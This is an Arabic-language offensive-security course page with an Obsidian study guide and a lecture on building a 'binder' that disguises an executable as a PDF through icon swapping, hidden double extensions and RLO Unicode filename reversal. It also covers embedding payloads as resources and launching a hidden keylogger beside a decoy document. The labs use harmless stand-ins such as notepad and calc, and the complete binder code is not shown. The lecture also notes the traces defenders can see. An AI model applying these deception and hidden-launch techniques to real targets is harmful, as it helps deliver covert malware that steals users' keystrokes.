من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية،
إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة،
وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.
اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى
اليسار: ما على اليمين يجب أن يسبق ما على اليسار.
الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول
منشور حتى الآن
من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت
قبل أن تكمل.
الخزنة
المنهج كشبكة، لا كقائمة
كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات،
الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط
Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت
واحدة امتلأت العقد المشتركة معها.
لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة
تسمية تقطع الرابط.
الطريقة الأنظف · عبر Git
استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر
تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت
Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:
نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها:
اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK،
أو المسار الأقصر بين مفهومين.
دليل التنقّل يشرح الطريقة كاملة.
أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس
قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني
على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم
يُنظر إليها من جهة المدافع.
العمل مع المختصّين
تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على
بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً.
المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.
المختبرات هي الفرق
لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود
إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي
بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.
الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.
هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.
أولاً: افتح الخزنة
نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات.Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.
بنية الخزنة
المجلد
ما فيه
المحاضرات
نص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدورات
صفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة
كيف تقرأ ملف مفهوم
كل ملف مفهوم مبني على نفس الشكل:
رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟
الأدوات الخمس التي ستستخدمها
1. الرسم الكامل (Graph view)
الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:
Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.
النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.
2. الرسم الموضعي (Local graph)
من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:
Depth 1: ما يرتبط بالملف مباشرة.
Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.
هذه هي الأداة التي ستقضي فيها أكثر وقتك.
3. الروابط الخلفية (Backlinks)
في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.
اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.
5. البحث والتنقّل السريع
الأمر
ويندوز
ماك
فتح ملف بالاسم
Ctrl+O
Cmd+O
بحث في كل النص
Ctrl+Shift+F
Cmd+Shift+F
لوحة الأوامر
Ctrl+P
Cmd+P
الرسم الكامل
Ctrl+G
Cmd+G
إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.
مثال كامل: كيف تدرس موضوعاً واحداً
خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.
الخطوة 1: ابدأ من المفهوم، لا من المحاضرة
افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.
الخطوة 2: افتح الرسم الموضعي بعمق 1
سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.
قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.
الخطوة 3: اتبع أغرب جار
SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.
ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.
الخطوة 4: انزل إلى النص
من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.
الخطوة 5: اجمع المحور كله
ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.
الخطوة 6: اقلب السؤال
اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.
الخطوة 7: اكتب ملاحظتك أنت
أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].
اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.
نمط أسبوعي مقترح
اليوم
العمل
قبل المحاضرة
افتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءة
لا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءة
افتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعة
افتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوع
اكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل
أخطاء شائعة
قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.
# 1. انسخ notepad.exe إلى مجلد تجريبيCopy-Item C:\Windows\System32\notepad.exe C:\Temp\notepad.exe
# 2. اسحب notepad.exe من C:\Temp إلى نافذة PE-bear# (Drag & Drop)# 3. في اللوحة اليسرى انظر:# - DOS Header# - NT Headers# - Section Headers# 4. اضغط على قسم .rsrc → ستشاهد الأيقونات والقوائم# 5. لاحظ حقل Machine: x86_64 (64-bit)# 6. جرّب ملفات مختلفة: calc.exe, mspaint.exe
بديل رسومي:CFF Explorer من NTCore (https://ntcore.com). بديل عبر الإنترنت:pestudio.com (النسخة المجانية).
أنت الآن ترى فعليا ما داخل الـ EXE، هذا نفسه ما سيراه المهاجم أو المحلل عندما يفتح ملفنا لاحقا.
✅ اختبر نفسك: القسم 1
ما الأقسام الرئيسية التي رأيتها في PE-bear عند فتح ملف EXE؟ اذكر ثلاثة منها.
ما وظيفة قسم .rsrc تحديداً، ولماذا هو القسم الذي يهمّنا في هذه المحاضرة دون غيره؟
حقل Machine أظهر x86_64. ماذا يعني ذلك عملياً عند بناء حمولتك لاحقاً؟
لو أضفت ملفاً بحجم 400 KB إلى قسم .rsrc، ماذا تتوقّع أن يحدث لحجم الـ EXE؟ ولماذا؟
3/4 صحيحة = تابع. أقل = أعد معمل 1 وانظر إلى الشجرة اليسرى في PE-bear مرة أخرى.
القسم 2القسم 2: الأيقونات داخل EXE
الأيقونة التي تراها في Explorer لأي ملف .exe مخزنة داخل الـ EXE نفسه (قسم .rsrc) كمورد من نوع RT_ICON. Windows يقرأها ويعرضها. ليس هناك ملف .ico خارجي.
لكل EXE مجموعة أيقونات بأحجام مختلفة (16, 32, 48, 256) حتى تظهر واضحة في كل منظور Explorer. المهم: يمكن تبديل هذه الأيقونة في أي EXE موجود بدون إعادة ترجمة الكود.
لماذا يهمنا هذا؟
لأن أيقونة PDF (اللون الأحمر المعروف) تجعل الضحية تصدق أن الملف PDF فورا. لكن Windows لا يستخدم الأيقونة لتحديد كيف يفتح الملف، يستخدم الامتداد فقط!
يمكن أن يكون:
اسم يبدو PDF ✅
أيقونة PDF ✅
لكنه EXE فعلا ✅
هذه أول طبقة من طبقات الخداع الثلاث (البصر → الاسم → السلوك).
حمّل Resource Hacker (الإصدار المحمول Zip، ~5 MB، بلا تثبيت).
جهز ملف pdf.ico. خيار سريع: حمّل أي أيقونة PDF مجانية من icons8.com أو flaticon.com، تأكد أنها تحتوي على أحجام متعددة (16, 32, 48, 256).
الخطوات:
powershell
# 1. انسخ notepad.exe (لا تعبث بالأصلي في System32!)Copy-Item C:\Windows\System32\notepad.exe C:\Temp\notepad.exe
# 2. افتح Resource Hacker → File → Open → C:\Temp\notepad.exe# 3. في الشجرة اليسرى: Icon → Group 1# 4. Right-click → Replace Icon → اختر pdf.ico# 5. File → Save# 6. في Explorer اذهب إلى C:\Temp# → notepad.exe يظهر بأيقونة PDF# 7. انقره — يفتح Notepad!# (الأيقونة تغيّرت، السلوك لا)
اكتشفتَ للتو أن الأيقونة ≠ نوع الملف. هذه أول طبقة خداع سنستخدمها في الملف المربوط لاحقا.
✅ اختبر نفسك: القسم 2
بعد تبديل أيقونة notepad.exe بأيقونة PDF في معمل 2، ماذا تغيّر وماذا لم يتغيّر عند النقر؟
أين تُخزَّن الأيقونة داخل الملف التنفيذي؟ وتحت أي فرع رأيتها في Resource Hacker؟
لماذا لا تكفي الأيقونة وحدها لخداع الضحية؟ ما العنصر الثاني الذي ستضيفه في القسم التالي؟
لماذا نسخنا notepad.exe إلى مجلد تجريبي بدل العبث بالنسخة الأصلية في System32؟
إذا ترددت في السؤال 1، فأنت لم تستوعب الفرق بين المظهر والسلوك. أعد قراءة القسم.
القسم 3القسم 3: الامتدادات: من يقرر أي برنامج يفتح ماذا؟
عند النقر المزدوج على أي ملف:
Windows يقرأ الامتداد فقط (.pdf, .docx, .exe, ...).
يبحث في الـ Registry: assoc → أي ProgID للامتداد، ftype → أي أمر تشغيل.
مثلا مع .pdf:
assoc .pdf → AcroExch.Document
ftype AcroExch.Document → "Acrobat.exe" "%1"
Windows لا يفتح الملف، ينفذ الأمر مع اسم الملف. لكن .exe مختلف: يُشغّل مباشرة بلا وسيط.
الإعداد الافتراضي القاتل
في Windows Explorer، خيار Hide extensions of known file types مفعّل افتراضيا. النتيجة: الامتدادات المعروفة (مثل .exe) تُخفى في العرض.
إذا سمّينا ملفنا Report.pdf.exe:
الاسم الحقيقي على القرص: Report.pdf.exe
ما يعرضه Explorer للضحية: Report.pdf فقط
السبب: .exe مخفي، وReport.pdf هو ما تبقّى
الضحية ترى Report.pdf مع أيقونة PDF، تنقر مطمئنة، و Windows يشغّل .exe فعليا. هذه هي طبقة الخداع الثانية (بعد الأيقونة).
🧪 معمل 3: استكشف الامتدادات وخدعة الإخفاء
الجزء 1، استكشاف الارتباطات (في cmd.exe):
batch
REM افتح cmd.exe (Win+R → cmd)
assoc .pdf
REM النتيجة (مثال): .pdf=AcroExch.Document.DC
ftype AcroExch.Document.DC
REM النتيجة (مثال): "C:\Program Files\...\Acrobat.exe""%1"
assoc .exe
REM .exe=exefile
ftype exefile
REM "%1"%*
REM = يُشغّل مباشرة!
REM جرّب امتدادات أخرى:
assoc .docx
assoc .html
assoc .txt
الجزء 2، خدعة إخفاء الامتداد:
powershell
# 1. تحقق من الإعداد الحالي (Explorer → View → Show → File name extensions)# 2. جهّز ملفا للتجربة:Copy-Item C:\Windows\System32\notepad.exe C:\Temp\Report.pdf.exe
# 3. في Explorer:# • مع إخفاء الامتدادات (الافتراضي): تراه Report.pdf ✓# • مع إظهارها: تراه Report.pdf.exe ✓# 4. الضحية 99% تعمل بالوضع الافتراضي (مخفاة)
أنت الآن ترى ما يراه المستخدم، امتداد مخفي + أيقونة صادقة كاذبة = المعادلة الكاملة للخداع.
✅ اختبر نفسك: القسم 3
ما الإعداد الافتراضي في Explorer الذي يجعل خدعة الامتداد المزدوج تعمل؟ وأين تجده؟
ملف اسمه الحقيقي Report.pdf.exe، لماذا يعرضه Windows باسم Report.pdf؟ اشرح القاعدة، لا النتيجة فقط.
من يقرّر أي برنامج يفتح الملف: الأيقونة، أم الاسم المعروض، أم الامتداد الحقيقي؟
ما نسبة المستخدمين الذين يُفعّلون إظهار الامتدادات تقريباً؟ وماذا يعني هذا الرقم لمصمّم الهجوم ولمصمّم الدفاع؟
3/4 = تابع.
القسم 4القسم 4: تضمين ملف كامل داخل EXE (Resources)
قسم .rsrc ليس محدودا بالأيقونات. RCDATA = خامة، بلا تفسير. تضع فيه: ملف PDF (كل بايت)، ملف EXE (كل بايت)، ملف ZIP، صوت، فيديو... Windows لا يعرف ولا يهتم بمحتوى RCDATA، مجرد بايتات.
كيف يُقرأ لاحقا؟ (سنستخدمها في binder.cpp)
c
// (1) البحث عن المورد داخل نفس EXEHRSRC hRes = FindResourceA(NULL, "DECOY_PDF", RT_RCDATA);
// (2) تحميل المورد في الذاكرةHGLOBAL hData = LoadResource(NULL, hRes);
// (3) الحصول على المؤشرvoid* pData = LockResource(hData);
// (4) الحصول على الحجمDWORD size = SizeofResource(NULL, hRes);
// ثم WriteFile → يكتب المورد إلى القرص كملف حقيقي
هذا هو الجوهر: EXE يحمل ملفات كاملة داخله + يفكها عند التشغيل. لن نحتاج شبكة أو خادم أو أي شيء خارجي.
🧪 معمل 4: ضمّن PDF داخل EXE ثم استخرجه
خطوات التضمين:
powershell
# 1. جهّز أي PDF صغير (مثلا test.pdf بحجم <500 KB)# 2. انسخ notepad.exe مرة أخرى:Copy-Item C:\Windows\System32\notepad.exe C:\Temp\notepad-with-pdf.exe
# 3. افتحه في Resource Hacker# 4. Action menu → Add a new Resource...# 5. Select File → اختر test.pdf# 6. Resource Type: RCDATA# Resource Name: TEST_PDF# 7. اضغط Add Resource# 8. File → Save# 9. لاحظ زيادة حجم الملف من ~250 KB إلى ~600 KB
خطوات الاستخراج (تحقق أن الـ PDF فعلا هناك):
powershell
# 1. في Resource Hacker، في الشجرة اليسرى:# RCDATA → TEST_PDF# 2. Right-click → Save Resource as Binary File# 3. احفظ باسم extracted.pdf# 4. افتح extracted.pdf بـ Adobe → يفتح مثل الأصلي تماما!# 5. تحقق بالأمر (fc = File Compare، /b = binary):
fc /b C:\Temp\test.pdf C:\Temp\extracted.pdf
# → لا فرق (بايت بايت)
أثبتنا أن EXE يحمل PDF كاملا دون فقد بايت واحد. هذا بالضبط ما سنفعله برمجيا في binder.rc، لكن بشكل آلي أثناء البناء بدل ما يدويا.
✅ اختبر نفسك: القسم 4
ما هو نوع المورد RCDATA، ولماذا استخدمناه للـ PDF بدل نوع مورد آخر؟
في معمل 4 استخرجنا الـ PDF المضمَّن وقارنّاه بالأصل بالأمر fc /b. ماذا يثبت أن النتيجة كانت "لا فرق"؟
اشرح بجملة واحدة: كيف يصبح ملف EXE واحد حاملاً لملفّين آخرين كاملين داخله؟
لو ضمّنت ملفاً بحجم 5 MB، ما الأثر الجانبي الذي قد يلفت نظر المدافع؟
جوابك ≥ 3/4 = تابع. أقل = أعد معمل 4.
القسم 5القسم 5: التشغيل الخفي: عملية تُشغّل عملية أخرى بلا نافذة
برنامج قيد التشغيل يستطيع إطلاق برنامج آخر عبر ثلاث دوال في Windows API:
الدالة
خصائصها
ShellExecuteEx()
مثل النقر المزدوج، يفتح بالبرنامج الافتراضي، SW_HIDE = بلا نافذة
CreateProcess()
أقوى وأدق، تحدد كل شيء يدويا، CREATE_NO_WINDOW + DETACHED_PROCESS
WinExec()
قديم، لا يُستخدم في الكود الحديث
لماذا يهمنا؟
الـ Binder يحتاج أن يطلق:
الـ PDF الحقيقي بشكل عادي مرئي (SW_SHOWNORMAL) → الضحية ترى ما توقعت.
الـ Keylogger بلا نافذة، بلا console (SW_HIDE + CREATE_NO_WINDOW + DETACHED_PROCESS) → الضحية لا تلاحظ شيئا.
بعد إطلاق كلا العمليتين، الـ Binder ينهي نفسه (exit 0)، ولا يبقى في الذاكرة.
🧪 معمل 5: شغّل عملية خفية وراقب Parent/Child
الجزء 1، PowerShell:
powershell
# 1. افتح PowerShell (Win+X → PowerShell)# 2. جرّب الأمر العادي أولا:Start-Process calc.exe
# → يفتح الحاسبة مرئية# 3. أغلق الحاسبة، ثم:Start-Process calc.exe -WindowStyle Hidden
# → لا نافذة، لكنها تعمل!# 4. تحقق أنها تعمل:Get-Process CalculatorApp
# → ستراها في القائمة# 5. أغلقها:Stop-Process -Name CalculatorApp
هذا نفس ما سيفعله الـ Binder مع الـ Keylogger، لكن بـ C++.
الجزء 2، Process Explorer:
powershell
# 1. حمّل Process Explorer (~3 MB):# https://learn.microsoft.com/sysinternals/downloads/process-explorer# 2. فك الضغط وشغّل procexp64.exe# 3. View → Show Process Tree# → يعرض العمليات كشجرة# 4. الآن شغّل الأمر السابق مرة أخرى من PowerShell:Start-Process calc.exe -WindowStyle Hidden
# 5. في Process Explorer:# • ستجد powershell.exe# • تحته CalculatorApp (خفي)# → علاقة Parent → Child
المهاجم يخفي النافذة، لكن علاقة Parent-Child تبقى ظاهرة لـ EDR، نقطة مهمة للدفاع لاحقا.
✅ اختبر نفسك: القسم 5
ما الفرق بين ShellExecuteEx() و CreateProcess()؟ ومتى تختار الثانية؟
الـ Binder يطلق عمليّتين بإعدادات مختلفة تماماً. اذكر كل عملية والعَلَم (flag) المستخدم معها ولماذا.
ماذا يفعل DETACHED_PROCESS، ولماذا لا يكفي SW_HIDE وحده؟
في Process Explorer رأيت علاقة Parent → Child. لماذا تُعدّ هذه العلاقة تحديداً أثراً يبحث عنه المدافع؟
لماذا يُنهي الـ Binder نفسه بعد إطلاق العمليتين بدل أن يبقى في الذاكرة؟
3/5 صحيحة = تابع. أقل = راجع جدول الدوال الثلاث ومعمل 5.
القسم 6القسم 6: MOTW و SmartScreen: الدفاعات المدمجة وحدودها
ما هي MOTW؟
Mark-of-the-Web = علامة الويب. عندما يُحمّل ملف من الإنترنت (Chrome, Edge, Outlook, ...) Windows يضيف لاحقة NTFS مخفية اسمها Alternate Data Stream (ADS) بمسار filename:Zone.Identifier. محتواها نص بسيط:
text
[ZoneTransfer]
ZoneId=3 ← Internet
ReferrerUrl=...
HostUrl=...
SmartScreen = فحص Microsoft قبل تشغيل أي ملف تنفيذي مع MOTW. يفحص:
سمعة الملف (hash معروف؟)
توقيع رقمي (Signed؟ EV؟)
سمعة الناشر
النتائج:
معروف وموثوق → يعمل بلا سؤال.
غير معروف + غير موقّع → "Windows protected your PC"، يجب Run Anyway.
معروف كخبيث → يُحجب!
الـ Binder الذي نبنيه غير موقّع، لا سمعة له → SmartScreen سيحذّر. هذه هي العقبة الحقيقية الوحيدة في طريقنا، ولن نتخطاها هنا، نعتمد على الضحية لتضغط Run Anyway.
🧪 معمل 6: افحص MOTW وشاهد SmartScreen
خطوات الفحص:
powershell
# 1. حمّل أي ملف EXE مجاني من موقع شرعي (7-zip, notepad++)# لاحظ: من متصفح، ليس FTP# 2. افتح PowerShell في مجلد التنزيلات:
cd $env:USERPROFILE\Downloads
# 3. اقرأ Zone.Identifier:Get-Content .\7z.exe -Stream Zone.Identifier
# ستحصل على:# [ZoneTransfer]# ZoneId=3# ReferrerUrl=https://7-zip.org# 4. أو بالأمر البديل — كل الـ streams على الملف:Get-Item .\7z.exe -Stream *
# 5. بديل GUI: Right-click → Properties → في الأسفل خيار "Unblock"# → وجوده يعني MOTW موجود
حرف Unicode خفي U+202E يقلب اتجاه العرض للنص بعده!
الاسم الحقيقي: Report<U+202E>fdp.exe
Explorer يعرض: Reportexe.pdf
لماذا يعمل؟
الحرف صامت (لا يُطبع).
يقلب كل ما بعده: fdp.exe → exe.pdf.
الامتداد الحقيقي يبقى .exe، يُشغّل مباشرة كأي EXE!
🧪 معمل 7: اصنع اسما مخادعا وشاهد الانعكاس بعينك
قبل البدء، لماذا لن نبدأ بـ CyberChef في المحاضرة السابقة اقترحنا CyberChef كأداة بصرية أولى. المشكلة الحقيقية المكتشفة الآن: - CyberChef Output لا يعرض الانعكاس أبدا (يعرض Report·fdp.exe أو أحرف مشوّهة) - هذا ليس خطأك ولا خطأ الأمر، إنها ثغرة معروفة في CyberChef (issue #1535) - الحرف U+202Eموجود فعلا في مخرج CyberChef، لكن CyberChef يعطّل تفسيره في نافذة العرض بعد اكتشاف Trojan Source (CVE-2021-42574) الحل: نستخدم أدوات Windows الأصلية مباشرة. تُرى الانعكاس البصري فورا، بلا وسيط.
الجزء 1، أسرع طريقة لرؤية الانعكاس (سطران PowerShell + Notepad)
هذه الطريقة الموصى بها. ثلاث خطوات، نتيجة بصرية فورية:
powershell
# 1. ابن السلسلة داخل PowerShell وضعها في الحافظة:"Report$([char]0x202E)fdp.exe" | Set-Clipboard# 2. افتح Notepad (أو شريط عنوان File Explorer)
notepad.exe
# 3. Ctrl+V داخل Notepad → سترى فورا: Reportexe.pdf
النتيجة على الشاشة: Reportexe.pdf ← الانعكاس البصري الحقيقي بلا CyberChef ولا أي أداة ويب.
💡 لحظة تعليمية، VS Code يرفض أن يُخدع جرب لصق نفس محتوى الحافظة داخل VS Code. لن ترى الانعكاس، بل تعليم واضح يقول "bidirectional Unicode character". السبب: بعد الكشف عن هجوم Trojan Source (CVE-2021-42574) في 2021، VS Code عطّل تفسير U+202E تلقائيا في المحرر، ويعرضه كعلامة تحذيرية. هذا الفرق بين محرر واعٍ أمنيا (VS Code) ومحرر تقليدي (Notepad) درس مهم للطالب: - Notepad = يظهر ما يرى المستخدم النهائي (خطر بصري) - VS Code = يظهر الحقيقة الخام (أمان تطوير)
الجزء 2، طبّق على ملف EXE حقيقي
powershell
# 1. جهّز ملفا للتجربة (لا تعبث بـ notepad.exe الأصلي!)Copy-Item C:\Windows\System32\notepad.exe C:\Temp\Report.pdf.exe
# 2. أعد تسميته باستخدام حرف RLO مبني برمجيا:$rlo = [char]0x202E
$oldName = "Report.pdf.exe"$newName = "Report" + $rlo + "fdp.exe"
cd C:\Temp
Rename-Item-LiteralPath$oldName -NewName $newName# 3. افتح Explorer على C:\Temp:
explorer.exe C:\Temp
# ماذا سترى في Explorer:# • الاسم: Reportexe.pdf (الانعكاس البصري)# • الأيقونة: أيقونة Notepad (أو PDF لو بدّلتها من المعمل 2)# 4. انقر مرتين على الملف:# • Windows يقرأ الامتداد الحقيقي (.exe) ويشغّله# • Notepad يفتح — رغم أن الضحية توقعت PDF
⚠️ لماذا نستخدم -LiteralPath وليس -PathRename-Item -Path يعامل بعض الرموز كأحرف wildcard: - [ و ] (مجموعة أحرف) - * (أي عدد من الأحرف) - ? (حرف واحد) مع الأسماء الغريبة (وخصوصا اسم فيه حرف RLO) قد يفسّر PowerShell الاسم خطأ ويفشل الأمر. -LiteralPath يستخدم الاسم حرفا حرفا بلا تفسير، أضمن دائما.
الجزء 3، طرق بديلة لبناء الحرف (اختر ما تفضل)
الطريقة الأولى (Set-Clipboard) هي المفضلة، لكن هذه بدائل حسب البيئة:
بديل 1، charmap.exe (يحاكي ما يفعله المهاجم يدويا):
powershell
# افتح Character Map
charmap.exe
# فعّل: Advanced view ✓# في Search حقل: اكتب "right-to-left override"# انقر الحرف الظاهر → Select → Copy# ثم في Notepad: اكتب "Report" ثم Ctrl+V ثم "fdp.exe"
بديل 2، خدعة Alt+X في Notepad/WordPad:
text
1. افتح Notepad
2. اكتب: Report202Efdp.exe
3. ضع المؤشر بعد "202E" مباشرة (بين E و f)
4. اضغط Alt+X
→ الأرقام الأربعة "202E" تنطوي على نفسها وتصبح حرف RLO
→ السطر يظهر فورا: Reportexe.pdf
احفظه كـ demo.html وافتحه في أي متصفح، سيعرض Reportexe.pdf فورا.
بديل 4، من WSL Ubuntu (يستخدم بايتات UTF-8 مباشرة):
bash
# الحرف U+202E في UTF-8 = 0xE2 0x80 0xAE
newname=$(printf'Report\xe2\x80\xaefdp.exe')
mv Report.pdf.exe "$newname"ls-la# ← في الطرفية سترى: Reportexe.pdf
ماذا عن CyberChef؟ لا يزال مفيدا لكشف الحرف الخفي في ملف نزل من الشبكة، مثلا الصق اسم ملف مشبوه في Input وشغّل عملية To Hex أو To Escaped Unicode لتكشف وجود \u202E. لكن لا تستخدمه لعرض الانعكاس البصري، الـ Output معطّل في هذا السياق.
الجزء 4، نظف بعد التجربة:
powershell
# احذف الملف التجريبي:Remove-Item-LiteralPath ("C:\Temp\Report" + [char]0x202E + "fdp.exe")
# لو نسيت المسار الحقيقي، ابحث عن كل ملف بحجم RLO في مجلد:Get-ChildItem C:\Temp | Where-Object { $_.Name -match"$([char]0x202E)" }
أنت الآن تعرف كل خدع الطبقة الأولى (البصر/الاسم). الطبقة الثانية (السلوك) نصنعها في binder.cpp.
✅ اختبر نفسك: القسم 7
ما الرمز اليونيكودي المستخدم في خدعة RLO؟ ولماذا يوصف بأنه "حرف صامت"؟
الاسم الحقيقي Report<RLO>fdp.exe يظهر للمستخدم Reportexe.pdf. اشرح خطوة بخطوة كيف حدث هذا الانعكاس.
رغم الانعكاس البصري، Windows يشغّل الملف كـ EXE. لماذا لا يتأثّر نظام التشغيل بالخدعة؟
لماذا نبني حرف U+202E برمجياً عبر [char]0x202E بدل كتابته مباشرة في الملف؟
ما الفرق بين الخدعتين، الامتداد المزدوج و RLO، من ناحية ما يراه المدافع في السجلّات؟
3/5 = تابع.
القسم 8القسم 8: بناء الـ Binder: الكود الكامل
الآن نجمع كل ما تعلمناه في ملفين: binder.cpp (الكود) و binder.rc (الموارد).
تجهيز البيئة: MinGW-w64 داخل WSL
نستخدم WSL Ubuntu كبيئة مهاجم (وفق قسم 8 من المحاضرة الأم). MinGW-w64 = مترجم C/C++ يُنتج ملفات Windows PE من داخل Linux.
